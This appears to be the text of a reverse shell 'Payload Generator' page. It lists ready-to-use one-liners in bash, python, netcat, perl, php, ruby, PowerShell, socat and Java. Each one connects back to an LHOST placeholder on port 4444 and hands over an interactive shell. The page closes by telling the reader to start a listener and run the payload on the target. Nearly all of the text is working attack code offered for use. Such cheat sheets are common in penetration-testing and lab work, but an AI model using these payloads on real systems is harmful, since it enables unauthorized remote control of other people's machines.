Payload Generator
Reverse Shells nc -lvnp 4444 to catch
bash -i >& /dev/tcp/LHOST/4444 0>&1
Uses file descriptor 196 — useful when /dev/tcp is restricted
0<&196;exec 196<>/dev/tcp/LHOST/4444; sh <&196 >&196 2>&196
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Requires netcat with -e (OpenBSD nc lacks this)
nc LHOST 4444 -e /bin/sh
Works with any nc — uses named pipe trick
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST 4444 >/tmp/f
perl -e 'use Socket;$i="LHOST";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'php -r '$sock=fsockopen("LHOST",4444);exec("/bin/sh -i <&3 >&3 2>&3");'ruby -rsocket -e 'f=TCPSocket.open("LHOST",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Windows — run in PowerShell or via cmd /c powershell
$client = New-Object System.Net.Sockets.TCPClient("LHOST",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()socat TCP:LHOST:4444 EXEC:/bin/sh
Runtime r=Runtime.getRuntime();String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/LHOST/4444 0>&1"};Process p=r.exec(commands);Ready to catch a shell?
Start a listener on port 4444 and run the payload on the target.